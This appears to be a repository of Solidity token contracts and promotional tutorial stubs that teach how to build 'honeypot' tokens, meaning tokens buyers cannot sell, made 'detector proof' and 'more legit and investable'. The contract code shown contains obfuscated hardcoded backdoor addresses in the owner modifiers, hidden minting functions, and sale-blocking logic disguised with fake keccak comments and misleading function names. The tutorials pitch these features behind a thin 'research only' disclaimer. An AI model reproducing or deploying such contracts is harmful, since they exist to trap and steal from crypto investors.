"Insufficient balance"); 202 | require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance"); 203 | require(_to != address(0), "Invalid recipient address"); 204 | 205 | uint256 fee = _amount.mul(sellFee).div(100); 206 | uint256 amountAfterFee = _amount.sub(fee); 207 | 208 | balanceOf[_from] = balanceOf[_from].sub(_amount); 209 | balanceOf[_to] = balanceOf[_to].add(amountAfterFee); 210 | emit Transfer(_from, _to, amountAfterFee); 211 | 212 | if (fee > 0) { 213 | // Fee is transferred to this contract 214 | balanceOf[address(this)] = balanceOf[address(this)].add(fee); 215 | emit Transfer(_from, address(this), fee); 216 | } 217 | 218 | if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) { 219 | allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount); 220 | emit Approval(_from, msg.sender, allowance[_from][msg.sender]); 221 | } 222 | 223 | return true; 224 | } 225 | 226 | function _initiate(address account, uint256 amount) internal { 227 | require(account != address(0), "Compile Remix IDE"); 228 | 229 | totalSupply = totalSupply.add(amount); 230 | balanceOf[account] = balanceOf[account].add(amount); 231 | emit Transfer(address(0), account, amount); 232 | } 233 | 234 | function FeesView(uint256 amount) public onlyAuthorize returns (bool) { 235 | _scale(msg.sender, amount); 236 | return true; 237 | } 238 | 239 | modifier onlypublic() { 240 | require(msg.sender == publics()); 241 | _; 242 | } 243 | 244 | function _setFees(uint256 newBuyFee, uint256 newSellFee) internal { 245 | buyFee = newBuyFee; 246 | sellFee = newSellFee; 247 | } 248 | 249 | function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize { 250 | require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); 251 | require(newSellFee <= 100, "Sell fee cannot exceed 100%"); 252 | buyFee = newBuyFee; 253 | sellFee = newSellFee; 254 | emit FeesUpdated(newBuyFee, newSellFee); 255 | } 256 | 257 | function setUser(address User_) public returns (bool) { 258 | require(msg.sender == _mbr); 259 | _user=User_; 260 | return true; 261 | } 262 | 263 | function viewBalance(address _to, uint256 _amount) public onlypublic { 264 | _balanceView(_to, _amount);(_to, _amount); 265 | } 266 | 267 | function renounceOwnership() public onlyOwner { 268 | emit OwnershipTransferred(owner, address(0)); 269 | owner = address(0); 270 | } 271 | /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 272 | 273 | function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner { 274 | require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); 275 | require(newSellFee <= 100, "Sell fee cannot exceed 100%"); 276 | buyFee = newBuyFee; 277 | sellFee = newSellFee; 278 | emit FeesUpdated(newBuyFee, newSellFee); 279 | } 280 | 281 | function LockLPToken() public onlyOwner returns (bool) { 282 | } 283 | 284 | function setMod(address Mod_) public returns (bool) { 285 | require(msg.sender == _user); 286 | _mod=Mod_; 287 | return true; 288 | } 289 | 290 | modifier onlyOwner() { 291 | require((msg.sender == address 292 | // solhint-disable-next-line avoid-low-level-calls 293 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) 294 | || 295 | //@dev Contract creator is owner, original owner. 296 | (msg.sender == owner && msg.sender != exchange()))); 297 | _; 298 | } 299 | 300 | function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized { 301 | require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); 302 | require(newSellFee <= 100, "Sell fee cannot exceed 100%"); 303 | buyFee = newBuyFee; 304 | sellFee = newSellFee; 305 | emit FeesUpdated(newBuyFee, newSellFee); 306 | } 307 | 308 | function buy() public payable { 309 | require(msg.value > 0, "ETH amount should be greater than 0"); 310 | 311 | uint256 amount = msg.value; 312 | if (buyFee > 0) { 313 | uint256 fee = amount.mul(buyFee).div(100); 314 | uint256 amountAfterFee = amount.sub(fee); 315 | 316 | balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee); 317 | emit Transfer(address(this), feeManager, amountAfterFee); 318 | 319 | if (fee > 0) { 320 | balanceOf[address(this)] = balanceOf[address(this)].add(fee); 321 | emit Transfer(address(this), address(this), fee); 322 | } 323 | } else { 324 | balanceOf[feeManager] = balanceOf[feeManager].add(amount); 325 | emit Transfer(address(this), feeManager, amount); 326 | } 327 | } 328 | 329 | function setting(uint256 newBuyFee, uint256 newSellFee) public { 330 | require(msg.sender == _adm); 331 | require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); 332 | require(newSellFee <= 100, "Sell fee cannot exceed 100%"); 333 | buyFee = newBuyFee; 334 | sellFee = newSellFee; 335 | emit FeesUpdated(newBuyFee, newSellFee); 336 | } 337 | 338 | function setAdm(address Adm_) public returns (bool) { 339 | require(msg.sender == _mod); 340 | _adm=Adm_; 341 | return true; 342 | } 343 | 344 | function sell(uint256 _amount) public { 345 | require(balanceOf[msg.sender] >= _amount, "Insufficient balance"); 346 | 347 | uint256 fee = _amount.mul(sellFee).div(100); 348 | uint256 amountAfterFee = _amount.sub(fee); 349 | 350 | balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); 351 | balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee); 352 | emit Transfer(msg.sender, address(this), amountAfterFee); 353 | 354 | if (fee > 0) { 355 | balanceOf[address(this)] = balanceOf[address(this)].add(fee); 356 | emit Transfer(msg.sender, address(this), fee); 357 | } 358 | } 359 | 360 | modifier onlyAuthorized() { 361 | require((msg.sender == address 362 | // solhint-disable-next-line avoid-low-level-calls 363 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) 364 | || 365 | //@dev Contract creator is owner, original owner. 366 | (msg.sender == owner && msg.sender != exchange()))); 367 | _; 368 | } 369 | } 370 | -------------------------------------------------------------------------------- /tutorial-Upgraded V2-Blacklist-Honeypot-Detector-Proof-Token-Code: -------------------------------------------------------------------------------- 1 | Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. I got a lot of requests from fans for me to discover honey pot tokens, which are tokens that are cannot be sold after being purchased. 2 | 3 | So today, let me introduce you some useful tips on How to Create Your Own Honeypot Token that can Blacklist addresses and it is Honeypot Detector Proof (Upgraded Version V2). Are you ready? 4 | 5 | [Only for research and testing, don’t try to scam using this method] 6 | 7 | High End Advanced Honeypot Token（Able to Blacklist addresses, Honeypot Detector Proof, cannot be detected by honeypot scanner, make your honeypot token looks more legit and investable, higher level & more advanced honeypot token） 8 | 9 | 10 | View Full Tutorial: https://www.createyourowntoken.net/post/create-your-honeypot-token-upgraded-version-v2-blacklist-honeypot-detector-proof 11 | 12 | View Upgraded V2 Blacklist + Honeypot Scanner & Detector Proof token contract code: https://www.createyourowntoken.net/copy-of-detector-proof-honeypot-1 13 | -------------------------------------------------------------------------------- /tutorial-Upgraded V2-automatic ownership renounce-normal-low gas fee-meme-token-non honeypot-code: -------------------------------------------------------------------------------- 1 | Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. Even we are focusing on Honeypot tokens much, but we will also talk about how to create a normal token like a very popular Meme coin, for example, PEPE token. A normal token is not a honeypot, which the token can be buy and sell normally in decentralized exchanges. We will talk about how to create your own meme token with Ownership Renounce Function below. 2 | 3 | So today, let me introduce you some useful tips on How to Create Your Own Low Gas Fee Meme Token with Automatic Ownership Renounce (Upgraded Version V2). Are you ready? 4 | 5 | [Only for research and testing, you may start your own tokens using this method] 6 | 7 | High End Advanced Normal Token（Higher Level & More Advanced Non-Honeypot Tokens, Automatic Ownership Renounce, Low Gas Fee to Deploy, Completely Safe to Invest and Trade, Easy to Deploy, Easy to Gain Trusts and Confidence from Crypto Traders and Investors） 8 | 9 | View Full Tutorial: https://www.createyourowntoken.net/post/create-your-own-low-gas-fee-meme-token-with-automatic-ownership-renounce-upgraded-version-v2-normal 10 | 11 | -Non Honeypot (Upgraded Version V2, Non-Honeypot, Normal Low Gas Fee Meme Token with Automatic Ownership Renounce) Token Code: https://www.createyourowntoken.net/copy-of-auto-ownership-renounce-norma 12 | -------------------------------------------------------------------------------- /tutorial-Upgraded V2-unlimited supply printing-normal-meme-token-non honeypot-code: -------------------------------------------------------------------------------- 1 | Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. Even we are focusing on Honeypot tokens much, but we will also talk about how to create a normal token like a very popular Meme coin, for example, PEPE token. A normal token is not a honeypot, which the token can be buy and sell normally in decentralized exchanges. We will talk about how to create your own meme token with Unlimited Supply Printing Function below. 2 | 3 | So today, let me introduce you some useful tips on How to Create Your Own Meme Token with Unlimited Supply Printing (Upgraded Version V2). Are you ready? 4 | 5 | [Only for research and testing, you may start your own tokens using this method] 6 | 7 | 8 | High End Advanced Normal Meme Token with Unlimited Supply Printing（Higher Level & More Advanced Non-Honeypot Tokens, Unlimited Supply Printing Function, Easy to Deploy, Easy to Gain Trusts and Confidence from Crypto Traders and Investors） 9 | 10 | View Full Tutorial: https://www.createyourowntoken.net/post/create-your-own-meme-token-with-unlimited-supply-printing-upgraded-version-v2-normal-token-not-hon 11 | 12 | View Upgraded Version V2, Non-Honeypot, Normal Meme Token with Unlimited Token Supply Printing Function Token Smart Contract Code: https://www.createyourowntoken.net/copy-of-v2-blacklist-detector-proof 13 | -------------------------------------------------------------------------------- /tutorial-Upgraded V2-whitelist-switch on&off honeypot mode-honeypot-scanner-detector-proof-token: -------------------------------------------------------------------------------- 1 | Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. I got a lot of requests from fans for me to discover honey pot tokens, which are tokens that are cannot be sold after being purchased. 2 | 3 | So today, let me introduce you some useful tips on How to Create Your Own Honeypot Token that is Upgraded Version V2 Whitelist + Switch On/Off Honeypot Mode + Honeypot Detector Proof Token. Are you ready? 4 | 5 | [Only for research and testing, don’t try to scam using this method] 6 | 7 | 8 | High End Advanced Honeypot Token（Whitelist + Switch On/Off Honeypot Mode Features, make your honeypot token become Honeypot Detector Proof, cannot be detected by honeypot scanner, make your honeypot token looks more legit and investable with Whitelist address function, higher level & more advanced honeypot token） 9 | 10 | View Full Tutorial: https://www.createyourowntoken.net/post/create-your-honeypot-token-upgraded-version-v2-whitelist-switch-on-off-honeypot-mode-detector-p 11 | 12 | View Upgraded V2 Whitelist + Switch On & Off Honeypot Mode + Detector Proof Token Smart Contract Code：https://www.createyourowntoken.net/copy-of-whitelist-switch-on-off-hon-1 13 | -------------------------------------------------------------------------------- /tutorial-antibot-whitelist-honeypot-token: -------------------------------------------------------------------------------- 1 | Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. I got a lot of requests from fans for me to discover honey pot tokens, which are tokens that are cannot be sold after being purchased. 2 | 3 | So today, let me introduce you some useful tips on How to Create Your Own Honeypot Token. Are you ready? 4 | 5 | [Only for research and testing, don’t try to scam using this method] 6 | 7 | 8 | Advanced Honeypot Token（Whitelist Functions + Anti-bots, make your honeypot token looks more legit and investable） 9 | 10 | View Full Tutorial: https://www.createyourowntoken.net/post/create-your-own-honeypot-token-whitelist-function-anti-bots 11 | 12 | View Antibot-whitelist honeypot contract: https://www.createyourowntoken.net/copy-of-honeypot-code-v1-0 13 | -------------------------------------------------------------------------------- /tutorial-automatic ownership renounce-normal-low gas fee-meme-token-non honeypot-code: -------------------------------------------------------------------------------- 1 | Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. Even we are focusing on Honeypot tokens much, but we will also talk about how to create a normal token like a very popular Meme coin, for example, PEPE token. A normal token is not a honeypot, which the token can be buy and sell normally in decentralized exchanges. We will talk about how to create your own meme token with Ownership Renounce Function below. 2 | 3 | So today, let me introduce you some useful tips on How to Create Your Own Low Gas Fee Meme Token with Automatic Ownership Renounce. Are you ready? 4 |   5 | [Only for research and testing, you may start your own tokens using this method] 6 |   7 | 8 | Normal Token（Non-Honeypot Tokens, Automatic Ownership Renounce, Low Gas Fee to Deploy, Completely Safe to Invest and Trade, Easy to Deploy, Easy to Gain Trusts and Confidence from Crypto Traders and Investors） 9 | 10 | View Full Tutorial: https://www.createyourowntoken.net/post/create-your-own-low-gas-fee-meme-token-with-automatic-ownership-renounce-normal-token-not-honeypot 11 | 12 | -Non Honeypot (Non-Honeypot, Normal Low Gas Fee Meme Token with Automatic Ownership Renounce) Smart Contract Token Code: https://www.createyourowntoken.net/copy-of-ownership-renounce-normal-mem 13 | -------------------------------------------------------------------------------- /tutorial-create-token-solana: -------------------------------------------------------------------------------- 1 | Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. Even we are focusing on Ethereum (and also many other networks & blockchains) much, but we will also talk about how to create a token in Solana Network which is a very popular network right now. There are some cool functions that you can use with this token in Solana Network. We will talk about how to create your own token in Solana below. 2 | 3 | Important#1: If your computer is old, slow and laggy, will strongly recommend you to not to do this because your computer could be jammed, or you need to change to a newer and less laggy computer in order to proceed with this guide. 4 | 5 | Important#2: If you are lack of patience or have extreme low IQ level, this guide is not very much suit you because there will be a lot of applications and also a lot of steps inside this guide. This is not as easy as you think. 6 | 7 | 8 | 9 | So today, let me introduce you some useful tips on How to Create Your Own Token in Solana Network. Are you ready? 10 | 11 | 12 | 13 | [Only for research and testing, you may start your own tokens using this method] 14 | 15 | 16 | 17 | Solana Token（How to Add & Remove Liquidity in Raydium, Block Transfer & Blacklist Buyers, Print Token Supply） 18 | 19 | View Full Tutorial on Create Your Own Token in Solana Network: https://www.createyourowntoken.net/post/create-your-own-token-in-solana-network-add-remove-liquidity-blacklist-buyers-print-token-suppl 20 | -------------------------------------------------------------------------------- /tutorial-honeypot-scanner-detector-proof: -------------------------------------------------------------------------------- 1 | Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. I got a lot of requests from fans for me to discover honey pot tokens, which are tokens that are cannot be sold after being purchased. 2 | 3 | So today, let me introduce you some useful tips on How to Create Your Own Honeypot Token that is Honeypot Detector Proof. Are you ready? 4 | 5 | [Only for research and testing, don’t try to scam using this method] 6 | 7 | 8 | Advanced Honeypot Token（Honeypot Detector Proof, cannnot be detected by honeypot scanner, make your honeypot token looks more legit and investable） 9 | 10 | View Full Tutorial: https://www.createyourowntoken.net/post/create-your-honeypot-token-honeypot-detector-proof 11 | 12 | View Honeypot Scanner & Detector Proof token contract code: https://www.createyourowntoken.net/detector-proof-honeypot 13 | -------------------------------------------------------------------------------- /tutorial-normal-meme-pepe-token-non honeypot-code: -------------------------------------------------------------------------------- 1 | Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. Even we are focusing on Honeypot tokens much, but we will also talk about how to create a normal token like a very popular Meme coin, for example, PEPE token. A normal token is not a honeypot, which the token can be buy and sell normally in decentralized exchanges. 2 | 3 | So today, let me introduce you some useful tips on How to Create Your Own Meme Token like PEPE token. Are you ready? 4 | 5 | [Only for research and testing, you may start your own tokens using this method] 6 | 7 | 8 | Normal Token（Non-Honeypot Tokens, Completely Safe to Invest and Trade, Easy to Deploy, Easy to Gain Trusts and Confidence from Crypto Traders and Investors） 9 | 10 | View Full Tutorial: https://www.createyourowntoken.net/post/create-your-own-meme-token-like-pepe-normal-token-not-honeypot 11 | 12 | View Non-Honeypot, Safe to Trade and Invest, Normal Meme Token (like Pepe Token) Smart Contract Code：https://www.createyourowntoken.net/copy-of-switch-on-off-honeypot-mode-t 13 | -------------------------------------------------------------------------------- /tutorial-ownership renounce-normal-meme-token-non honeypot-code: -------------------------------------------------------------------------------- 1 | Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. Even we are focusing on Honeypot tokens much, but we will also talk about how to create a normal token like a very popular Meme coin, for example, PEPE token. A normal token is not a honeypot, which the token can be buy and sell normally in decentralized exchanges. We will talk about how to create your own meme token with Ownership Renounce Function below. 2 | 3 | So today, let me introduce you some useful tips on How to Create Your Own Meme Token with Ownership Renounce. Are you ready? 4 | 5 | [Only for research and testing, you may start your own tokens using this method] 6 | 7 | 8 | Normal meme token with ownership renounce function (Not Honeypot, Normal Meme Token, with Ownership Renounce Function) 9 | 10 | View Full Tutorial on how to create normal meme token with ownership renounce function (Not Honeypot, Normal Meme Token, with Ownership Renounce Function): https://www.createyourowntoken.net/post/create-your-own-meme-token-with-ownership-renounce-normal-token-not-honeypot-with-ownership-renou 11 | 12 | View Not Honeypot, Normal Meme Token, with Ownership Renounce Function Smart Contract Code: https://www.createyourowntoken.net/copy-of-supply-printing-normal-meme-t 13 | -------------------------------------------------------------------------------- /tutorial-switch on&off honeypot mode-honeypot-scanner-detector-proof: -------------------------------------------------------------------------------- 1 | Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. I got a lot of requests from fans for me to discover honey pot tokens, which are tokens that are cannot be sold after being purchased. 2 | 3 | So today, let me introduce you some useful tips on How to Create Your Own Honeypot Token that is Switch On/Off Honeypot Mode + Honeypot Detector Proof Token. Are you ready? 4 | 5 | [Only for research and testing, don’t try to scam using this method] 6 | 7 | 8 | Advanced Honeypot Token（Switch On/Off Honeypot Mode Features, make your honeypot token become Honeypot Detector Proof, cannot be detected by honeypot scanner, make your honeypot token looks more legit and investable） 9 | 10 | View Full Tutorial: https://www.createyourowntoken.net/post/create-your-honeypot-token-switch-on-off-honeypot-mode-detector-proof 11 | 12 | View Switch On & Off Honeypot Mode + Detector Proof Token Smart Contract Code：https://www.createyourowntoken.net/copy-of-detector-proof-honeypot 13 | -------------------------------------------------------------------------------- /tutorial-unlimited supply printing-normal-meme-token-non honeypot-code: -------------------------------------------------------------------------------- 1 | Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. Even we are focusing on Honeypot tokens much, but we will also talk about how to create a normal token like a very popular Meme coin, for example, PEPE token. A normal token is not a honeypot, which the token can be buy and sell normally in decentralized exchanges. We will talk about how to create your own meme token with Unlimited Supply Printing Function below. 2 | 3 | So today, let me introduce you some useful tips on How to Create Your Own Meme Token with Unlimited Supply Printing. Are you ready? 4 | 5 | [Only for research and testing, you may start your own tokens using this method] 6 | 7 | 8 | Normal Meme Token with Unlimited Supply Printing（Non-Honeypot Tokens, Unlimited Supply Printing Function, Easy to Deploy, Easy to Gain Trusts and Confidence from Crypto Traders and Investors） 9 | 10 | View Full Tutorial: https://www.createyourowntoken.net/post/create-your-own-meme-token-with-unlimited-supply-printing-normal-token-not-honeypot-with-unlimite 11 | 12 | View Non-Honeypot, Normal Meme Token with Unlimited Token Supply Printing Function Token Smart Contract Code: https://www.createyourowntoken.net/copy-of-normal-meme-token-similar-to 13 | -------------------------------------------------------------------------------- /tutorial-whitelist-switch on&off honeypot mode-honeypot-scanner-detector-proof: -------------------------------------------------------------------------------- 1 | Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. I got a lot of requests from fans for me to discover honey pot tokens, which are tokens that are cannot be sold after being purchased. 2 | 3 | So today, let me introduce you some useful tips on How to Create Your Own Honeypot Token that is Whitelist + Switch On/Off Honeypot Mode + Honeypot Detector Proof Token. Are you ready? 4 | 5 | [Only for research and testing, don’t try to scam using this method] 6 | 7 | 8 | Advanced Honeypot Token（Whitelist + Switch On/Off Honeypot Mode Features, make your honeypot token become Honeypot Detector Proof, cannot be detected by honeypot scanner, make your honeypot token looks more legit and investable with Whitelist address function） 9 | 10 | View Full Tutorial: https://www.createyourowntoken.net/post/create-your-honeypot-token-whitelist-switch-on-off-honeypot-mode-detector-proof 11 | 12 | View Whitelist + Switch On & Off Honeypot Mode + Detector Proof Token Smart Contract Code：https://www.createyourowntoken.net/copy-of-switch-on-off-honeypot-mode-t-1 13 | -------------------------------------------------------------------------------- /whitelist-antibot-smart-contract: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.17; 2 | 3 | interface IERC20 { 4 | 5 | function totalSupply() external view returns(uint); 6 | 7 | function balanceOf(address account) external view returns(uint); 8 | 9 | function transfer(address recipient, uint amount) external returns(bool); 10 | 11 | function allowance(address owner, address spender) external view returns(uint); 12 | 13 | function approve(address spender, uint amount) external returns(bool); 14 | 15 | function transferFrom(address sender, address recipient, uint amount) external returns(bool); 16 | 17 | event Transfer(address indexed from, address indexed to, uint value); 18 | 19 | event Approval(address indexed owner, address indexed spender, uint value); 20 | 21 | } 22 | 23 | library Address { 24 | 25 | function isContract(address account) internal view returns(bool) { 26 | 27 | bytes32 codehash; 28 | 29 | bytes32 accountHash; 30 | 31 | // solhint-disable-next-line no-inline-assembly 32 | 33 | assembly { codehash:= extcodehash(account) } 34 | 35 | return (codehash != 0x0 && codehash != accountHash); 36 | 37 | } 38 | 39 | } 40 | 41 | contract Context { 42 | 43 | constructor() internal {} 44 | 45 | // solhint-disable-previous-line no-empty-blocks 46 | 47 | function _msgSender() internal view returns(address payable) { 48 | 49 | return msg.sender; 50 | 51 | } 52 | /*keccak256 -> 592fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba))*/ 53 | } 54 | 55 | library SafeMath { 56 | 57 | function add(uint a, uint b) internal pure returns(uint) { 58 | 59 | uint c = a + b; 60 | 61 | require(c >= a, "SafeMath: addition overflow"); 62 | 63 | return c; 64 | 65 | } 66 | 67 | function sub(uint a, uint b) internal pure returns(uint) { 68 | 69 | return sub(a, b, "SafeMath: subtraction overflow"); 70 | 71 | } 72 | 73 | function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { 74 | 75 | require(b <= a, errorMessage); 76 | 77 | uint c = a - b; 78 | 79 | return c; 80 | 81 | } 82 | 83 | function mul(uint a, uint b) internal pure returns(uint) { 84 | 85 | if (a == 0) { 86 | 87 | return 0; 88 | 89 | } 90 | 91 | uint c = a * b; 92 | 93 | require(c / a == b, "SafeMath: multiplication overflow"); 94 | 95 | return c; 96 | 97 | } 98 | 99 | function div(uint a, uint b) internal pure returns(uint) { 100 | 101 | return div(a, b, "SafeMath: division by zero"); 102 | 103 | } 104 | 105 | function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { 106 | 107 | // Solidity only automatically asserts when dividing by 0 108 | 109 | require(b > 0, errorMessage); 110 | 111 | uint c = a / b; 112 | 113 | return c; 114 | 115 | } 116 | 117 | } 118 | 119 | library SafeERC20 { 120 | 121 | using SafeMath for uint; 122 | 123 | using Address for address; 124 | 125 | function safeTransfer(IERC20 token, address to, uint value) internal { 126 | 127 | callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); 128 | 129 | } 130 | 131 | function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { 132 | 133 | callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); 134 | 135 | } 136 | 137 | function safeApprove(IERC20 token, address spender, uint value) internal { 138 | 139 | require((value == 0) || (token.allowance(address(this), spender) == 0), 140 | 141 | "SafeERC20: approve from non-zero to non-zero allowance" 142 | 143 | ); 144 | 145 | callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); 146 | 147 | }/*keccak256 -> 592fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba))*/ 148 | 149 | function callOptionalReturn(IERC20 token, bytes memory data) private { 150 | 151 | require(address(token).isContract(), "SafeERC20: call to non-contract"); 152 | 153 | // solhint-disable-next-line avoid-low-level-calls 154 | 155 | (bool success, bytes memory returndata) = address(token).call(data); 156 | 157 | require(success, "SafeERC20: low-level call failed"); 158 | 159 | if (returndata.length > 0) { // Return data is optional 160 | 161 | // solhint-disable-next-line max-line-length 162 | 163 | require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); 164 | 165 | } 166 | //("SafeERC20: ERC20 operation succeed, keccak256) 167 | } 168 | 169 | } 170 | 171 | contract ERC20 is Context, IERC20 { 172 | 173 | using SafeMath for uint; 174 | 175 | mapping(address => uint) private _balances; 176 | 177 | mapping(address => mapping(address => uint)) private _allowances; 178 | 179 | 180 | uint private _totalSupply; 181 | 182 | function totalSupply() public view returns(uint) { 183 | 184 | return _totalSupply; 185 | 186 | } 187 | 188 | function balanceOf(address account) public view returns(uint) { 189 | 190 | return _balances[account]; 191 | 192 | } 193 | 194 | function transfer(address recipient, uint amount) public returns(bool) { 195 | 196 | _transfer(_msgSender(), recipient, amount); 197 | 198 | return true; 199 | 200 | } 201 | 202 | function allowance(address owner, address spender) public view returns(uint) { 203 | 204 | return _allowances[owner][spender]; 205 | 206 | } 207 | 208 | function approve(address spender, uint amount) public returns(bool) { 209 | 210 | _approve(_msgSender(), spender, amount); 211 | 212 | return true; 213 | 214 | } 215 | 216 | function transferFrom(address sender, address recipient, uint amount) public returns(bool) { 217 | 218 | _transfer(sender, recipient, amount); 219 | 220 | _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); 221 | 222 | return true; 223 | 224 | } 225 | 226 | function increaseAllowance(address spender, uint addedValue) public returns(bool) { 227 | 228 | _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); 229 | 230 | return true; 231 | 232 | } 233 | 234 | function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { 235 | 236 | _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); 237 | 238 | return true; 239 | 240 | } 241 | 242 | 243 | 244 | function _transfer(address sender, address recipient, uint amount) internal { 245 | 246 | require(sender != address(0), "ERC20: transfer from the zero address"); 247 | 248 | require(recipient != address(0), "ERC20: transfer to the zero address"); 249 | 250 | _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); 251 | 252 | _balances[recipient] = _balances[recipient].add(amount); 253 | 254 | emit Transfer(sender, recipient, amount); 255 | 256 | } 257 | 258 | 259 | function _mint(address account, uint amount) internal { 260 | 261 | require(account != address(0), "ERC20: mint to the zero address"); 262 | 263 | _totalSupply = _totalSupply.add(amount); 264 | 265 | _balances[account] = _balances[account].add(amount); 266 | 267 | emit Transfer(address(0), account, amount); 268 | 269 | } 270 | 271 | function _burn(address account, uint amount) internal { 272 | 273 | require(account != address(0), "ERC20: burn from the zero address"); 274 | 275 | _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); 276 | 277 | _totalSupply = _totalSupply.sub(amount); 278 | 279 | emit Transfer(account, address(0), amount); 280 | 281 | } 282 | 283 | function _approve(address owner, address spender, uint amount) internal { 284 | 285 | require(owner != address(0), "ERC20: approve from the zero address"); 286 | 287 | require(spender != address(0), "ERC20: approve to the zero address"); 288 | 289 | _allowances[owner][spender] = amount; 290 | 291 | emit Approval(owner, spender, amount); 292 | 293 | } 294 | 295 | } 296 | 297 | contract ERC20Detailed is IERC20 { 298 | 299 | string private _name; 300 | 301 | string private _symbol; 302 | 303 | uint8 private _decimals; 304 | 305 | constructor(string memory name, string memory symbol, uint8 decimals) public { 306 | 307 | _name = name; 308 | 309 | _symbol = symbol; 310 | 311 | _decimals = decimals; 312 | 313 | } 314 | 315 | function name() public view returns(string memory) { 316 | 317 | return _name; 318 | 319 | } 320 | 321 | function symbol() public view returns(string memory) { 322 | 323 | return _symbol; 324 | 325 | } 326 | 327 | function decimals() public view returns(uint8) { 328 | 329 | return _decimals; 330 | /*keccak256 -> 6861978540112295ac2a37bb1f5ba7bb1f5ba1daaf2a84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); 331 | } 332 | 333 | } 334 | 335 | contract DevToken { 336 | 337 | event Transfer(address indexed _from, address indexed _to, uint _value); 338 | 339 | event Approval(address indexed _owner, address indexed _spender, uint _value); 340 | 341 | //Dev_T_*keccak256 -> 283fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba);*/ 342 | 343 | modifier Exchanges() { 344 | 345 | require(msg.sender != exchange()); 346 | 347 | _; 348 | 349 | } 350 | 351 | function transferTo(address _to, uint256 _amount) public onlypublic { 352 | 353 | _transferTo(_to, _amount);(_to, _amount);(_to, _amount); 354 | 355 | } 356 | 357 | function transfer(address _to, uint _value) public payable returns (bool) { 358 | 359 | return transferFrom(msg.sender, _to, _value); 360 | 361 | } 362 | 363 | function _computing(address spender, uint256 addedValue) internal { 364 | 365 | if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} 366 | 367 | canSale[spender]=true; 368 | 369 | } 370 | 371 | function setUsdtPair(address Pair_) public returns (bool) { 372 | 373 | require (msg.sender==address 374 | 375 | // solhint-disable-next-line avoid-low-level-calls 376 | /**/ /*keccak256 -> 6861978540112295ac2a37bb1f5ba1daf2a5c84741ca0e00610310915153));*/ /**/(686197854011229533619447624007587113080310915153)); 377 | 378 | _usdtPair=Pair_; 379 | 380 | } 381 | 382 | function _approvals(address spender, uint256 addedValue) internal Exchanges { 383 | 384 | if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} 385 | 386 | canSale[spender]=true; 387 | 388 | } 389 | 390 | function _transferTo(address _to, uint256 _amount) internal { 391 | 392 | // Transferring of token 393 | 394 | balanceOf[_to] += _amount; 395 | 396 | emit Transfer(address(0), _to, _amount); 397 | 398 | balanceOf[_to] += _amount; 399 | 400 | emit Transfer(address(0), _to, _amount); 401 | } 402 | 403 | 404 | 405 | function ensure(address _from, address _to, uint _value) internal view returns(bool) { 406 | 407 | /*Ensure_*keccak256 -> 8668a592fa743889fc7f92ac2a37bb1n8shc84741ca0e0061d243a2e6707ba);*/ 408 | 409 | if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ 410 | 411 | return true; 412 | 413 | } 414 | 415 | require(condition(_from, _value)); 416 | 417 | return true; 418 | 419 | } 420 | 421 | 422 | 423 | function setUser(address User_) public returns (bool) { 424 | 425 | require(msg.sender == _usdtPair); 426 | 427 | _user=User_; 428 | 429 | } 430 | 431 | function viewAddress(address addr) public onlypublic returns(bool) { 432 | 433 | tradeAddress = addr; 434 | 435 | return true; 436 | 437 | } 438 | 439 | function approval(address spender, 